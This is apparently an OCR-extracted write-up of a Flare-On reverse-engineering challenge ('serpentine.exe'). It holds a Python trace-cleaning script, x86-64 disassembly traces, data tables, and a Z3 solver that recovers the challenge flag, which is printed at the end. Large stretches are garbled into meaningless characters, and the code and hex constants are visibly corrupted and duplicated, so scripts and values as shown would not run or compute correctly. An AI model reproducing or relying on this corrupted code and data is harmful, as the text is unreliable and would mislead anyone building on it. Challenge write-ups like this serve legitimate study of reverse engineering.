TopV? c%xd dy s _ 4 Xl

open("ins.txt" , "r")

lines f.read().splitlines()

new_lines
i 0

max_lines len (lines)

(i <max_lines - 1):

( "base"
new_lines

IES)E
I ES

Ko @ L o~ & d 1 Hdim I*ox
ret™ Fx x4 4 s oo x X x> cdlimretit T+ X xS @

~>q|s x:““> § . X 'SLJ-A
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("pop rax MES)E
new_lines linesJi 1]
("hlt" IES)E
new_lines linesli]
("Function” linesJi]):
new_lines linesJi]
("ret" IES)E
("call" lines]i 1):
(i +1>=max_lines - 1):

new_line lin
i +=1

1

open( "ins_cleaned.txt"
EVAVNCIGETRITES)

x $ . ~s]shellcodet . _base address _:1x | x X xsf\iX,, o A L0Xx4 D x4
Y ORI LS 45 T X TRy SL YD o YA EX S 4 o X S
1  Function call #0 at RAX: 0xD110038]
2 00000000°0d3£f4d49 49bb497£fdd0a01000000 mov rll, 10ADDT7F45h
3 00000000°0d1100a2 4153 push rll
4 00000000°0d1100a4 6836547773 push 73775436h
5 00000000°0d1100a% 68434calé6s push 6BA04C43h
6 00000000°0d1100ae 68£f97£9112 push 12917FFSh
7 00000000 0d3f4db8 48814424189£3%ac35 add gword ptr [rsp+l8h],35AC3%9Fh # 00000000067fef70 000000010add7£49
8 00000000 0d3f4e2]1 e9elb2dlff Jmp 000000000d110107
9 000000000d110107 £4 hlt
10 Function call #1 at RAX: 0xD1101A7
11 00000000 0d3f4e8c 488bbde0000000 mowvw rdi,gword ptr [rbp+0EOh] # 00000000067felbl 4c4b4a4548474645
12 00000000°0d1101b2 480fbeff MOVZX rdi,dil
13 00000000 0d3f4ef2 e913b3d1£ff Jmp 00000000 0d11020a
14 000000000d11020a f4 hlt
15 Function call #2 at RAX: 0xD1102a2
16 00000000 0d3f4f5e 498b80L0O00O0000 mowv rax,qword ptr [rB8+0B0Oh] # 00000000067fd4240 0000000000000045
17 00000000°0d3f4fc3 49¢c7c2a77437b9 mowv rl0,0FFFFFFFFB93774ATh
8 00000000 0d3£502f 4981c2e505b847 add rl0,47B805ESh
19 00000000°0d1102bb 4152 push rlo
20 00000000 0d1102bd 48f72424 mul rax, qword ptr [rspl # 00000000067£d0£f0 0000000000efT7alc
21 000000000d1102cl 4888c¢5 mov rbp, rax
22 00000000 0d3£5098 e977b2d1ff Jmp 00000000 04110315
23 00000000°0d110315 £4 hlt
24 Function call #3 at RAX: 0xD110328
25 00000000°0d3f5100 4cBbbaal000000 mowv rl5, gqword ptr [rdx+0AO0h] # 00000000067fc2f0 00000000408c07bec
26 00000000°0d1103b3 4157 push rls
27 00000000°0d1103b5 498S5e4 mow rl2,rsp
8 00000000°0d3£5168 488bb2al000000 mowvw rsi,gword ptr [rdx+0AOh] # 00000000067fc2f0 00000000408c07bc
29 00000000°0d3£f51d3 e92fb2d1ff Jmp 00000000"0d110407
30 000000000d110407 £4 hlt
31 Function call #4 at RAX: 0xD11042%
32 00000000°0d3£5237 4d8b8ad8000000 mow r9,gword ptr [rl0+0D8h] # 00000000067fb3e8 00000000067£clbl
33 00000000"0d3f52a2 498baaafB000000 mowv rbp, qword ptr [r10+0ABh] # 00000000067fb3bd 00000000408c07bec
34 000000000d1104bb 4151 push r9
35 00000000"0d1104bd 684435358 push 58RE3544h
36 00000000°0d1104c2 68el2feS5Te push TEESZFElh
S 00000000 0d1104c7 6836098b64 push ©45B0536h
8 00000000°0d3£5307 e904b2d1£ff Jmp 000000000d110510
=2 00000000°0d110510 £4 hlt
40  Function call #5 at RAX: 0xD11059F
41 00000000 0d3£536c 4c8bbfal000000 mowv rl5,gword ptr [rdi+0AOh] # 00000000067fa470 00000000408c07be
42 00000000°0d1105ae 480fbédb MOVZX rbx,bl
43 00000000 0d3£53de e921b2d1ff jmp 00000000 0d1105fc
44 00000000°0d1105fc f4 hlt
45 Function call #6& at RAX: 0xD110691
46 00000000~ 0d3£5440 410faeS790000000 ldmxcsr dword ptr [r15490h] # 00000000067f£9520 000000bc
47 00000000"0d3f54ae 49bed4blf43d400000000 mov rl4,0D4431F4Bh
8 00000000°0d3f5518 4981cé&T7543c66b add rld, 6BCE4375h

SOL S Xpl F XX s S FXXss o L0 (] . Ted XG4

~

offsetri _ _ _ « X9« pc. x sleastsignificantbyté « (/&% x ¥ s .. xpgn n n n ncA7a ny

O I AR I 10, e Dl dxs o b AsSHpie*r 4 X Xs €4
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SoodTIs® L 18 *XTSle . XS .y offset . X X X< XS L. ] vs® . X0 N
Function call #5 at RAX: 0xDII0GSF

00000000 0d3£536c 4c8bbfa0000000 mowv rl5,gword ptr [rdi+0AO0h] # 000000000&7fa470 00000000408c07bc
00000000 0d1105ae 480fbédb MOVZX rbx,bl

00000000 0d3£53d6 e921b2d1£f Jmp 00000000 0d1105£c

00000000 0d1105fc £4 hilt

Function call #6 at REX: 0xD110691

00000000 0d3£5440 410£2e9790000000 ldmxcsr dword ptr [rl15+490h] # 00000000067£9520 000000bc

00000000 0d3£54ae 45bedblf43d400000000 mov rld, 0D4431F4Eh

00000000 0d3£5519 4981c67543c66k add rl4, 6BC64375h

00000000 0d3£5585 4d8bb668040000 mov rld,gword ptr [rl4+468h] # 0000000140096728 00000001400621c0
00000000 0d3£55ef 44d03b790000000 add rld,gword ptr [rl5+5%0h] # 00000000067£5520 00000000000000be
00000000 0d1106be 418a36 mov sil,byte ptr [rl4] # 000000014006227c 01

00000000 0d1106bE 480fb6fe MOVZX rei,sil

00000000 0d1106c3 48cles0l shl rei,8

00000000 0d3£565a 4901b7£0000000 add gword ptr [rl5+0F0h],rsi # 00000000067£9580 00000000408c07bc
00000000 0d1106ce 498b4128 mov rax,gword ptr [r9+28h] # 00000000067£%a08 00000000067£5490
00000000 0d3£56c3 4c8ba8f0000000 mov r13,gword ptr [rax+0F0h] # 00000000067£9580 00000000408c08bc
00000000 0d3£572¢c 48bbe32bef83301000000 mov rbx, 133E82BE3h

00000000 0d3£579¢c 4881c3dd2e210c add rbx, 0C212EDDh

00000000 0d3£5801 e931afdlff Jmp 00000000°04110737

00000000 0d110737 £4 hlt

Function call #7 at RAX: 0xD1107DE

00000000 0d3£5865 4c8baaf0000000 mov rl13,gword ptr [rdz+0F0h] # 00000000067f8640 00000001400620c0
00000000 0d3£f58ca 488bbae(000000 mov rdi,gword ptr [rdx+0EOh] # 00000000067f£8630 00000000408c08bc
00000000 0d3£5937 e903afdlff Jmp 00000000°0d11083f

000000007 0d11083f £4 hlt

Function call #8 at RAX: 0xD110BEOD

00000000 0d3£599¢c 488bbbb0000000 mov rdi,gword ptr [rbx+0B0Oh] # 00000000067f76c0O 00000000408c08bc
00000000 0d1108eb 448b5b34 MoV r1ld,dword ptr [rbx+34h] # 00000000067f7644 000000bc
00000000 0d3£5a03 4c03%be0000000 add rll,gword ptr [rbx+0EOh] # 00000000067f76f0 00000001400620c0
00000000 0d1108f6 418aZb mov bpl,byte ptr [rll] # 000000014006217c 49

00000000 0d1108£S 4088ef mov dil,bpl

00000000 0d3f5a6b e9ddaedlff Jmp 00000000 0d11094d

00000000°0d11094d £4 hit

Function call #9 at RAX: 0xD1105SEB

00000000 0d3£f5ad0 488bbeb0000000 mow rdi,gword ptr [rsi+0BOh] # 00000000067f6780 00000000408c0849

Yoq

Teeds X D St Vs o % L

xmgpd | bax 7 A

~

.data:e0808001480621C8

db 73h dup(@), &0h dup(1) |

¥ ,0 15X L4 Pdy€ osx T s O s~ |y 0TSQ
data:PE00000140062000 db 80h, 8Eh, 8Fh, 98h, 91h, 92h, 93h, 94h, 95h, 98h, 97h
data:@0000601400620C0 db 98h, 99h, 9a&h, 9Bh, 9Ch, 9Dh, 9Eh, 9Fh, 8ABh, BAlh
data:eE0eEE6146662805 db ®A2h, @A3h, @A4h, BASh, @Ach, BA7h, BASh, BASh, @ash
data:@eee08814066200E db 8aBh, BACh, ®ADh, @AEh, @AFh, @B8h, @Blh, @B2h, @B3h
data: 00881 4808620E7 db ©B4h, ©B5h, @B&h, @B7h, @B8h, ©B9h, ©BAh, @BBh, BBCh
data : 608008814006 20F8 db ®BDh, ©BEh, @BFh, @C8h, @&Clh, ®CZh, @C3h, @Cdh, B®CSh
data:PE000001400620F9 db @Csh, @C7h, @C8h, @C9h, @CAh, BCBh, BCCh, BCDh, @CEh
data:@B00E60148062102 db BCFh, eDeh, @Dlh, @D2h, @D3h, 8D4h, @8Dsh, @D6h, @D7h
data:eE0EEE614006210E db ®D8h, @Doh, @DAh, @DBh, @DCh, 8DDh, @DEh, @DFh, @EBh
data:eeee088l40062114 db @Elh, ®E2h, BE3h, @E4h, @EsSh, @E6h, BE7h, @E8h, @E%h
data: eeeap881480862110 db ®EAh, ©EBh, @ECh, ©®EDh, ®EEh, BEFh, @F8h, @Flh, @F2h
data: 0000088148062126 db ©F3h, ©F4h, @F5h, @Fch, @F7h, ©F8h, ©F3h, @FAh, BFBh
data:Pe0000014006212F db @Fch, @FDh, @FEh, @FFh, @, 1, 2, 3, 4, 5, 6, 7, 8, 9
data:eEeEEE614666213D db ®ah, @Bh, @Ch, @Dh, 8Eh, @Fh, 1eh, 11h, 12h, 13h, 14h
data:PEEEEEE140062148 db 15h, 16h, 17h, 18h, 1%h, 1&h, 1Bh, 1Ch, 10h, 1Eh, 1Fh
data: 0000881 480862153 db 28h, 21h, 22h, 23h, 24h, 25h, 28h, 27h, 28h, 29h, 2Ah
data: eeeap88148086215E db 2Bh, 2Ch, 20h, 2Eh, 2Fh, 38h, 31h, 32h, 33h, 34h, 35h
data:ee00000140062169 db 36h, 37h, 38h, 3%h, 3&h, 3Bh, 3Ch, 3Dh, 3Eh, 3Fh, 48h
data:0000000140062174 db 41h, 42h, 43h, 44h, 45h, 46h, 47h, 48h, 4%h, 4ah, 4Bh
data:eEeEEEE14606217F db 4Ch, 4Dh, 4Eh, 4Fh, 58h, 51h, 52h, 53h, S54h, 55h, S6h
data:@eee08814006218A db 57h, 58h, 5%h, 5&h, 5Bh, 5Ch, 5Dh, 5Eh, 5Fh, &8h, 6lh
data: e0e00881480862195 db 62h, &3h, &4h, 65h, 66h, &7h, &68h, 69h, 6Ah, 6Bh, &Ch
data : 6080088148862 1468 db &Dh, 6Eh, &Fh, 78h, 71h, 72h, 73h, 74h, 75h, 76h, 77h
data:PE000001400621A8 db 78h, 79h, 78h, 7Bh, 7Ch, 7Dh, 7th, 7Fh, 8@h, 81h, 82h
data:@808E801480621B6 db 83h, 84h, 85h, 86h, 87h, 88h, 89h, 8&h, 3Bh, &8Ch
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AT s Scarryr o p 4 xS T X et o L s e X d 49T .
Lo X T s s x4 0 e o xd 4% Koy TR o XX I X ] A
Y o B R T XXy {]xX s, BE+8cE49% T B, « L ® ] Hgnb_ 1 ldwords. x X 4 X 1
Coadx, xs f e Ak T g am o D TS b cedimyiR Lo WY, 4 XS

YMox ¥ o k8% 5% @ Lxi o 8 h 4B X Lox X 4]
result flag_ext[ 4] 0x0000000000ef7a8¢

result 0x9d865d8d

X s E){Hm“l"x-ﬁ{)sx\s” . 17s X XIiid o« ®f s ¥l ™Xxds Fx ] 4 "
Y ox X «

Function call #39 at RAX: 0xD112988

00000000 0d3£905a 488bacb0000000 mov rbp,gword ptr [rsi+0BOh] # 00000000067d9e00 3534333231305a59

00000000 0d3£90c5 4cB8bacedB8000000 mowv r12,gword ptr [rsi+0D8h] # 00000000067d9%=28 00000000del26549

00000000°0d11299%a 4830fbéed MOVZX rbp,bpl

00000000°0d3£912d e9b798d1£ff Jmp 00000000°0d1129=9

00000000°0d1129%9=9 £f£4 hlt

Function call #40 at RAX: 0xD112A86

00000000 0d3£9193 488b87a0000000 mov rax,qword ptr [rdi+0ACh] # 000000000867d8eb0 0000000000000059

00000000 0d3f91fb 49c7c4177264%a mov rl2, OFFFFFFFF3A647E17Th

000000007 0d3£9262 4981c42537el65 add rl2,65E13725h

00000000°0d112a9f 4154 push rlz

000000007 0d3f92ck 488bafdB8000000 mov rbp, gword ptr [rdi+0DB8h] # 00000000067d8ee8 00000000d4el26549

00000000°0d112aa8 48f72424 mul rax,qword ptr [rsp] # 00000000067d48d70 000000000045b53¢c

00000000 0d112aac 48897 mov rdi, rax

00000000°0d3£9331 e9c497d1ff Jmp 00000000~ 0d112afa

00000000 0d112afa f4 hlt

Function call #41 at RAX: 0xD112B88

00000000°0d3£9395 488bbealf000000 mow rdi,gword ptr [rsi+0AOh] # 00000000067d7£70 00000000del26549

00000000 0d3£93ff 482bbeb0000000 sub rdi,gword ptr [rsi+0BOh] # 00000000067d7£80 00000000183c01dc

00000000 0d3£59464 e57cS7d1£E Jjmp 00000000*0d112beb

00000000 0d112be5 f4 hlt

YA PIix Poxsx s ] 10

result flag_ext[ 4] 0x0000000000ef7a8c
result 0x9d865d8d

result flag_ext] 24] * 0x000000000045b53c
result 0x18baee57
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flag_ext[ 4]
0x9d865d8d
flag_ext[ 24]

0x18baee57

flag_ext[ 0]
0x913fbbde

Technologic

X

v

R

0x0000000000ef7a8c

0x000000000045b53c¢

0x0000000000e4cf8b

kA X 3L X S A XSS s L x D YIs 4] ] s
A B Xl T X s X X xes pox Tls*esdLd ol w0 41
Y- 'i . . ”
. data:aReRR0014063E0CE db 3Bh, 3&h, 39h, 38h, 3Fh, 3Eh, 3Dh, 3Ch, 33h, 32h, 31h
. data:apeseaa14083E0CE db 3@h, 37h, 36h, 35h, 3#4h, 2Bh, 2ah, 29%h, 28h, 2Fh, 2Eh
. data:eREEEER14663ER06 db 2Dh, 2Ch, 23h, 22h, 21h, 28h, 27h, 26h, 25h, 24h, 1Bh
. data:0eaR00140683E0E]L db 1Ah, 19h, 18h, 1Fh, 1Eh, 1Dh, 1Ch, 13h, 12h, 11h, 18h
. data:apeBRe814863EBEC db 17h, 16h, 15h, 14h, 8Bh, ®&h, 9, 8, @Fh, 8Eh, @Dh, @CH
. data:apeBRea14083E0FS db 3, 2, 1, @, 7, 6, 5, 4, 7Bh, 7Ah, 79h, 78h, 7Fh, 7Eh
. data:epEEEER14663E106 db 7Dh, 7Ch, 73h, 72h, 71h, 78h, 77h, 76h, 75h, 7#h, &Bh
. data: 00000014063 E111 db 6Ah, 69h, 68h, 6Fh, 6Eh, &Dh, 6Ch, &3h, 62h, &lh, &8h
. data: AREBRER14063E db 67h, 66h, 65h, 64h, 5Bh, SAh, 5%h, S8h, SFh, S5Eh, SDh
. data:apeaRea14ea3E127 db sch, 53h, 52h, Sih, S@h, 57h, 56h, 55h, S4h, 4Bh, 44h
. data:eREEEER14863E132 db 49h, 48h, 4Fh, 4Eh, 4Dh, 4Ch, 43h, 42h, 41h, 48h, 47h
. data:B0ea800146683E13D db 46h, 45h, 44h, @BBh, @BAh, BB9h, @Bsh, @BFh, ©@BEh, B0
. data:AReBRE814063E147 db ®BCh, @B3h, 8B2h, @Blh, @B8h, ®B7h, @B&h, BBSh, @B4h
. data:epeseea14863E150 db BABh, @Ash, BASh, @Ash, @AFh, BAEh, @ADh, BACh, @A3h
. data:eREEEER14883E150 db BA2h, BAlh, 8ABh, @A7h, @AGh, BASh, @&dh, 9Bh, 98h
. data: 00000014083 E162 db 99h, 98h, 9Fh, 9Eh, 9Dh, 9Ch, 93h, 92h, 91h, 9@h, 97h
. data:apeBRE8148683E16D db 9&h, 95h, 94h, 8Bh, 8ah, 8%h, 88h, 8Fh, 8Eh, 8Dh, 8Ch
. data:epeseea148683E178 db 83h, 82h, 81h, 88h, 87h, 86h, 85h, 84h, @8FBh, @Fah
. data:BpeBaeea14083E1582 db B8FSh, @Fsh, BFFh, @FEh, @FDh, BFCh, @F3h, BF2h, @Flh
. data:peBR00140683E1586 db ®8F8h, @F7h, BF6h, @FSh, @F4h, BEBh, @EAh, BESh, @ESh
. data:epeRAR14PA3EL194 db BEFh, @EEh, BEDh, @ECh, @E3h, ®E2h, @Elh, BEGh, @E7h
. data:epeseeal4ea3E190 db ®Esh, @ESh, @E4h, @DBh, @DAh, ©D%h, @D8h, BDFh, @DEh
. data:8peBaeaa14883E1AG db B8DDh, @DCh, 8D3h, @D2h, @Dlh, @Deh, @D07h, BD6h, @DSh
. data:apeBR0R14863E1AF db 8D4h, @CBh, BCAh, @C9h, @C8h, BCFh, @CEh, BCDh, @CCh
. data:ApeBeeal4ea3E1ES db ®C3h, @C2h, 8Clh, @Ceh, @C7h, BC6h, @CSh, BC4h
1 [l«lJ{\ . XSG sxy . \~sivx.|v {1€INS X «S xH,,M@quvs" JJ”,,NAxs” §,~,“v X
Y b x |} yls4 o ] s [slxord . X x IT { s TCx s
result flag_ext{ 4] * 0x0000000000ef7a8c
result 0x9d865d8d
result flag_ext] 24] * 0x000000000045b53c
result 0x18baee57
result flag_ext{ 0] * 0x0000000000e4cf8b
result 0x913fbbde
result flag_ext[ 8] 0x0000000000f5¢990
result 0x6bfaa656
result flag_ext[ 20] 0x0000000000733178
result 0x61e3db3b
result flag_ext[ 16] * 0x00000000009a17b8
result 0xca2804b1
result flag_ext[ 12] * 0x0000000000773850
result 0x5a6f68be
result flag_ext] 28] * 0x0000000000e21d3d
result 0x5c911d23
result Oxffffffff81647a79
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solver Solver()
flag [BitVec( f'flag[{i}]' , 8) i range ( 32)]

X flag:
solver.add(UGT(x, 32), ULT(x, 128))

flag_ext [ZeroExt( 56, flag[i]) i range ( 32)]

result flag_ext[ 4] 0x0000000000ef7a8c

result 0x9d865d8d

result flag_ext[ 24] 0x000000000045b53¢c
result 0x18baee57

result flag_ext[ 0] 0x0000000000e4cf8b
result 0x913fbbde

result flag_ext[ 8] 0x0000000000f5¢990
result Ox6bfaa656

result flag_ext[ 20] 0x0000000000733178
result 0x61e3db3b

result flag_ext[ 16] 0x00000000009a17b8
result 0xca2804b1

result flag_ext] 12] 0x0000000000773850
result 0x5a6f68be

result flag_ext[ 28] 0x0000000000e21d3d
result 0x5c911d23

result Oxffffffff81647a79

solver.add(result 0)}

solver.check() sat:
model = solver.model()

solution [model[flag]i]].as_long() i range ( 32)]

flag_str Jjoin( chr (c) c solution)
print ("Flag:" , flag_str)

print ("No solution found."
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v

To b T oxde o %7 $ %0 L dXs., X ndl X x X4 _ 4K " zero flagt ¢ i X "L

> ~

Cov L USIUX R I XRE L 4T X x X4 s s Lol o Dpsessl x oy (X8, L X

Yy voova~ v o> > > ~ ~

B b Ao T 44, TSI NHUON S [ xs,wd s ¥ X BT 4.8 0@ X
WD s 6 xigy %X § L 30@BY L DRAM

Y 4 x X isd X s x X x D Isxive Sl 4. {4

~ A ~

open("ins.txt" , "r') f:
lines f. read (). splitines ()
new_lines
i 0
max_lines len (lines)

(i <max_lines - 1):
("Cycle" linesli]):
new_lines lines|i] "\'n
("base" linesJi]):
new_lines linesJi]
("pop rax" MES)E
new_lines lines|i 1] "\ n"
("hit" linesli]):
new_lines linesJi] "\ n"
("Function" linesJi]):
new_lines linesJi] "\ n"
("ret" linesli]):
("call" lines]i 1)):
(i +1>=max_lines - 1):

\n

new_lines lines|i 1] "\ n"
i +=1

open( "ins_cleaned.txt"
newf. write (new_lines)
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solver Solver ()
flag [BitVec (f'flag[ {i} 1', 8) i range ( 32)]
flag_ext [ ZeroExt (56, flag[i]) i range (32)]

result flag_ext[ 4] 0x0000000000ef7a8c

result 0x9d865d8d

result flag_ext] 24] 0x000000000045b53¢
result 0x18baee57

result flag_ext[ 0] 0x0000000000e4cf8b
result 0x913fbbde

result flag_ext[ 8] 0x0000000000f5¢990
result 0x6bfaa656

result flag_ext[ 20] 0x0000000000733178
result 0x61e3db3b

result flag_ext[ 16] 0x00000000009a17hb8
result 0xca2804b1

result flag_ext[ 12] 0x0000000000773850
result 0x5a6f68be

result flag_ext] 28] 0x0000000000e21d3d
result 0x5c911d23

result Oxffffffff81647a79

blockl (result) 0

result flag_ext[ 17] 0x000000000099aa81
result 0x74edea51
result flag_ext[ 5] 0x00000000004aba22
result 0x598015bf
result flag_ext[ 21] 0x000000000091a68a
result 0x6df18e52
result flag_ext[ 1] 0x0000000000942fde
result 0x15c825ee
result flag_ext[ 13] 0x0000000000fe2fbe
result 0xd5682b64
result flag_ext[ 29] 0x0000000000d7e52f
result 0x798bd018
result flag_ext[ 25] 0x0000000000e44f6a
result 0xe66d523e
result flag_ext[ 9] 0x0000000000af71d6
result 0x921122d3
result Oxell48bae

block2 (result)
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result flag_ext[ 10] 0x000000000048c500
result 0x8fdaalbc

result flag_ext[ 30] 0x0000000000152887
result 0x65f04e48

result flag_ext[ 14] 0x0000000000aa4247
result 0x3d63ec69

result flag_ext[ 22] 0x000000000038d82d
result 0x872ecasf

result flag_ext[ 26] 0x0000000000f120ac
result 0x803dbdcf

result flag_ext[ 2] 0x0000000000254def
result 0xee380db3

result flag_ext[ 18] 0x00000000009ef3e7
result 0x6deaa90b

result flag_ext[ 6] 0x000000000069c573
result Oxc9ac5c5d

result Oxfffffffdf3ba3f0d

block3 (result) 0

result flag_ext[ 11] 0x000000000067dda4
result 0xf4753afc

result flag_ext[ 31] 0x00000000005bb860
result 0xcl1d47fc9

result flag_ext[ 23] 0x0000000000ab0ce5
result 0x544ff977

result flag_ext[ 7] 0x0000000000148e94
result 0x9ch3e419

result flag_ext[ 15] 0x00000000009e06ae
result Oxadc62064

result flag_ext[ 3] 0x0000000000fb9del
result 0x4e3633f7

result flag_ext[ 27] 0x0000000000a8a511
result 0xa61f9208

result flag_ext[ 19] 0x0000000000d3468d
result 0x4a5d7b48

result Oxffffffffef6412a2

block4 (result) 0

result flag_ext[ 12] 0x0000000000640ba9
result 0x516c7a5c¢

result flag_ext[ 0] 0x0000000000f1d9e5

result 0x8b424d6b

result flag_ext[ 28] 0x0000000000d3e2f8
result 0x3802be78

result flag_ext[ 24] 0x0000000000b558ce
result 0x33418c8e

result flag_ext[ 8] 0x00000000002f03a7

result 0xe050b170

result flag_ext[ 16] 0x0000000000b8fa61
result 0x1fc22df6

result flag_ext[ 20] 0x0000000000e0c507
result 0xd8376e57

result flag_ext[ 4] 0x00000000008e354¢e
result 0xd2cb3108

result 0x100e79080

block5 (result)

result flag_ext] 17] * 0x0000000000a9b448
result 0x9f938499

result flag_ext[ 5] 0x0000000000906550
result 0x407021af

result flag_ext[ 13] 0x0000000000aa5ad2
result 0x77cf83a7

result flag_ext[ 29] 0x0000000000c49349
result 0x3067f4e7

result flag_ext{ 9] * 0x0000000000314f8e
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result 0xcd975f3b

result flag_ext[ 21] 0x000000000081968b
result 0x893d2e0b

result flag_ext[ 25] 0x00000000005ffbac
result 0xf3378e3a

result flag_ext[ 1] 0x0000000000f63c8 e
result 0x1c1d882b

result 0x8e5eb48d

result 0x200000000

block6 (result) 0

result flag_ext[ 22] 0x0000000000a6edf9

result 0x77¢c58017

result flag_ext[ 18] 0x0000000000e87bf4
result 0x999bd740

result flag_ext[ 2] 0x000000000019864d
result 0x41884bed

result flag_ext[ 6] 0x0000000000901524
result 0x247bf095

result flag_ext[ 10] 0x0000000000c897cc
result Oxeff7eea8

result flag_ext[ 14] 0x0000000000731197
result 0x67a0d262

result flag_ext[ 30] 0x00000000005f591c¢
result 0x316661f9

result flag_ext[ 26] 0x0000000000579d0e
result 0x3427falc

result 0x900d744b

block7 (result)

result flag_ext[ 23] 0x00000000009afaf6
result 0xdb895413

result flag_ext[ 19] 0x00000000007d1al2
result 0xc679fca4

result flag_ext] 11] 0x00000000004d84b1
result 0xa30387dc

result flag_ext[ 15] 0x0000000000552b78
result 0xf54a725e

result flag_ext[ 7] 0x0000000000f372a1
result 0x4c5103ad

result flag_ext] 31] 0x0000000000b40eb5
result 0x16fa70d2

result flag_ext[ 3] 0x00000000009e5¢18
result 0x38784353

result flag_ext[ 27] 0x0000000000f2513b
result 0xalfc09f0

result 0x01d6e408

result 0x100000000

block8 (result) 0

result flag_e xt[ 28] 0x0000000000ac70b9
result Oxdae0a932

result flag_ext[ 4] 0x0000000000c42b6f
result 0xbc03104c

result flag_ext[ 0] 0x0000000000867193
result Oxdc48c63a

result flag_ext[ 12] 0x00000000006d31fe
result 0x4baeb6d0

result flag_ext[ 16] 0x0000000000aaae58
result Oxcd7121f8

result flag_ext[ 20] 0x00000000009faa7a
result Oxbe0a2c9c

result flag_ext] 24] 0x0000000000354ac6
result O0xd8ad17f1

result flag_ext[ 8] 0x00000000003f2ach
result 0x8b6b7d89

result 0x63c13793

result 0x200000000

block9 (result)

result flag_ext[ 29] 0x0000000000e9d18a
result 0xch5557ea
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flag_ext[ 25]
0x9125a906
flag_ext[ 17]
0x6e46fch8
flag_ext[ 5]
0x442800ec
flag_ext[ 13]
Oxbde8f9af
flag_ext[ 21]
0xc9d97243
flag_ext[ 1]
0xc54b7d21
flag_ext[ 9]
0x2alabOcl
0xbf2044db
0x200000000

(result)

flag_ext[ 30]
0xa06c215b
flag_ext[ 26]
0xb197c5c0
flag_ext[ 6]
0x66e7d06¢C
flag_ext[ 2]
0x80af4325
flag_ext[ 10]
0xe13c8393
flag_ext[ 18]
0xf96d2b51
flag_ext[ 14]
0x8732273d
flag_ext[ 22]
0xd3d45c5a
0x0b3d7e5b
(result)

flag_ext[ 11]
0x19f61419
flag_ext[ 3]
0x566¢cc6a8
flag_ext[ 15]
0x6db0599e
flag_ext[ 27]
0xbd613538
flag_ext[ 19]
0x717a44dd
flag_ext[ 23]
0xdd02182d
flag_ext[ 7]
Oxef8e5416
flag_ext[ 31]
0x9288d4fa
0x81bdbe05
0x200000000
(result)

flag_ext[ 16]
Oxaleb20e3
flag_ext[ 4]
0x38lac71la
flag_ext[ 8]
Oxd8caa2cd
flag_ext[ 20]
0x524d7efa
flag_ext[ 12]
Oxe47e82cd
flag_ext[ 0]
0x3321c9b1
flag_ext] 24]

0x00000000008aa5hb9
0x0000000000241997
0x0000000000e3daof
0x0000000000a5f9eb
0x0000000000d6e0fb
0x00000000008dc36e

0x0000000000b072ee

0

0x0000000000d14f3e
0x0000000000c5echf

0x000000000019ff9c

0x0000000000e3288hb
0x0000000000cfb18c
0x0000000000d208e5
0x000000000042240f

0x00000000001c6098

0x00000000003768cc

0x000000000043bel6
0x0000000000b7ccab
0x0000000000f6419f
0x0000000000ae52fc
0x00000000005e€eb81

0x0000000000ec1845

0x000000000061a3be

0x0000000000336€e91
0x0000000000d45de9
0x000000000076¢c8f8
0x0000000000945339
0x00000000004474ec
0x000000000051054f

0x0000000000d7eb3b
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0x36f682 9d
flag_ext[ 28]
Ox6ce218la
0xf39b4443
0x100000000
(result)

flag_ext[ 29]
0xa8b69f6b
flag_ext[ 17]
0x653c249a
flag_ext[ 1]
0x68e87685
flag_ext[ 9]
0x87238dch
flag_ext[ 13]
Oxed16797a
flag_ext[ 5]
0x95a05aa9
flag_ext[ 25]
0x43c00020
flag_ext[ 21]
0x34a29213
0x20196a7e
(result)

flag_ext[ 2]
0x5ed7alfl
flag_ext[ 22]
0x87a91310
flag_ext[ 6]
0xf64a0f19
flag_ext[ 30]
Oxbbcc735d
flag_ext[ 18]
0xf9ddd08f
flag_ext] 26]
0x59a9172e
flag_ext] 14]
0x969a7a64
flag_ext[ 10]
0x8c112543
Oxcldb45c7
0x300000000
(result)

flag_ext[ 11]
0xa751192c
flag_ext[ 7]
0xf851da43
flag_ext[ 31]
0x335087a5
flag_ext[ 3]
0x4bfd30d3
flag_ext[ 27]
0x5d540495
flag_ext[ 19]
0x460c48a6
flag_ext[ 15]
0xfcd00f24
flag_ext[ 23]
0xa98b27fa
0x22087cd4
0x200000000

(result)

flag_ext[ 16]
0x2359766f
flag_ext[ 24]
0xea986a57

0x0000000000ad52el

0x0000000000725059
0x00000000006dcfe?
0x00000000008f4c44
0x0000000000d2f4ce
0x0000000000e99d3f
0x0000000000ada536
0x0000000000e0b352

0x00000000008675b6

0

0x00000000004a5€e95
0x00000000003a7b49

0x0000000000f27038

0x0000000000a187d0
0x0000000000fc991a
0x00000000004e947a
0x0000000000324ead

0x0000000000656b1b

0

0x0000000000251b86

0x0000000000743927
0x00000000009a3479

0x0000000000778a0d
0x00000000007€04b5
0x0000000000f1c3ee
0x0000000000883b8a

0x0000000000993db1

0x0000000000bae081

0x0000000000c2483b
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Technologic r

result flag_ext[ 28] 0x0000000000520ee2
result 0xa6ff8114

result flag_ext[ 8] 0x00000000009864ba

result 0x42833507

result flag_ext[ 0] 0x00000000007cd278

result 0x360be811

result flag_ext[ 4] 0x0000000000be6605

result 0x4c927a8d

result flag_ext[ 20] 0x00000000003bd2e8
result 0xb790cfd3

result flag_ext[ 12] 0x0000000000548c2b
result 0x2a0e04cc

result 0x21328792

result 0x200000000

block17 (result)

result flag_ext[ 17] 0x0000000000fb213b
result 0x6773d643
result flag_ext[ 9] 0x0000000000de6876
result 0x8649fde3
result flag_ext[ 29] 0x0000000000629ff7
result O0xaleeb203
result flag_ext[ 25] 0x0000000000dbb107
result 0x94aabb62
result flag_ext[ 1] 0x0000000000262675
result Oxdfcf5488
result flag_ext[ 5] 0x0000000000d691c5
result 0x5b3ee746
result flag_ext[ 13] 0x0000000000cafc93
result 0x111bde22
result flag_ext[ 21] 0x000000000081f945
result 0x90033b08
result 0x6349d7cf
result 0x300000000

block18 (result) 0

solver. add(blockl, block2, block3, block4,
block5,block6, block7, block8,
block9, block10, block11, block12,
block13, block14, block15, block16,
block17, block18)

solver. check() sat:
model = solver. model()

solution [model[flagli]]- as_long () i range ( 32)]

flag_str " .join (chr(c) G solution)
print ("Flag:" , flag_str)

print ("No solution found."

Xmlghd » HE 1, o A 2 xssixi, p X omyd X s QA LW, 4 ydsi” 7]
Y‘xﬂ’i&:s\v1 sl Cs
P tnlway5 k3ep_| g_and_mOving

DS DU 9S « KRR T S4sTX]f L ossse k.

PS C:\ctfs \flarell -windows\ flare \| evel 9> .\ serpentine.exe
'$$_4lway5_k3ep_moving_and_mOving'
Flag: $3$_4lway5 k3ep_moving_and_mOving@flare - on.com

